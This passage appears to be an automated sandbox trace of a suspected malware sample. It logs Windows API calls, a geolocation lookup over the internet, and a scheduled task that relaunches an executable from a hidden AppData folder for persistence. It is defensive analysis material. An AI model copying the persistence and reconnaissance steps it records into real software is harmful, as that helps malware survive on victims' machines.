Size=0x52) returned 0x6ac2d8 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3c) returned 0x6a03c0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x82) returned 0x6ac338 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2e) returned 0x6a7048 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1e) returned 0x6aae58 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2c) returned 0x6a7080 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x54) returned 0x6ac3c8 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x52) returned 0x6ac428 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2a) returned 0x6a70b8 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3c) returned 0x6a0408 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x54) returned 0x6ac488 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x24) returned 0x6a6970 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x30) returned 0x6a70f0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x8c) returned 0x6ac4e8 [0047.949] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6ac818 | out: hHeap=0x600000) returned 1 [0047.950] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x80) returned 0x6ac580 [0047.950] GetLastError () returned 0x0 [0047.950] SetLastError (dwErrCode=0x0) [0047.950] GetLastError () returned 0x0 [0047.950] SetLastError (dwErrCode=0x0) [0047.950] GetLastError () returned 0x0 [0047.950] SetLastError (dwErrCode=0x0) [0047.950] GetACP () returned 0x4e4 [0047.950] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x220) returned 0x6ac608 [0047.950] GetLastError () returned 0x0 [0047.950] SetLastError (dwErrCode=0x0) [0047.950] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.950] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18dbfc | out: lpCPInfo=0x18dbfc) returned 1 [0047.950] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d6c4 | out: lpCPInfo=0x18d6c4) returned 1 [0047.950] GetLastError () returned 0x0 [0047.950] SetLastError (dwErrCode=0x0) [0047.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x18d448, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.951] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18d6d8 | out: lpCharType=0x18d6d8) returned 1 [0047.951] GetLastError () returned 0x0 [0047.951] SetLastError (dwErrCode=0x0) [0047.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x18d418, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.951] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.951] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d208, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0047.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d9d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x92\x8c\x91\x8e\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0047.951] GetLastError () returned 0x0 [0047.951] SetLastError (dwErrCode=0x0) [0047.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18dad8, cbMultiByte=256, lpWideCharStr=0x18d428, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.951] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.951] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d218, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0047.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d8d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x92\x8c\x91\x8e\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0047.951] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0047.951] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x800) returned 0x6ac830 [0047.951] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4121fd [0047.951] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.952] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.952] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.952] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.952] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x110) returned 0x6ad038 [0047.952] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.952] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x10) returned 0x6aa5b8 [0047.953] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.953] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.953] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.953] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6ac580) returned 0x80 [0047.954] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0048.022] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x40) returned 0x6a0768 [0048.022] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 36 os_tid = 0xb20 Thread: id = 37 os_tid = 0xb24 Thread: id = 38 os_tid = 0xb28 Thread: id = 39 os_tid = 0xb2c Thread: id = 40 os_tid = 0xb30 Thread: id = 41 os_tid = 0xb34 Process: id = "6" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e0ef000" os_pid = "0xb3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0xa14" cmd_line = "taskeng.exe {E387FC81-F75C-4FE1-BEB5-A923C4A8692A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0xb40 Thread: id = 43 os_tid = 0xb44 Thread: id = 44 os_tid = 0xb48 Thread: id = 45 os_tid = 0xb4c Thread: id = 46 os_tid = 0xb50 Thread: id = 47 os_tid = 0xb54 Thread: id = 48 os_tid = 0xb58 Process: id = "7" image_name = "zxkgxn.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" page_root = "0x6086e000" os_pid = "0xb5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb3c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0xb60 [0056.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x6a242970, dwHighDateTime=0x1d52f22)) [0056.832] GetCurrentThreadId () returned 0xb60 [0056.832] GetCurrentProcessId () returned 0xb5c [0056.832] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=17717665900) returned 1 [0056.868] GetStartupInfoW (in: lpStartupInfo=0x18ff08 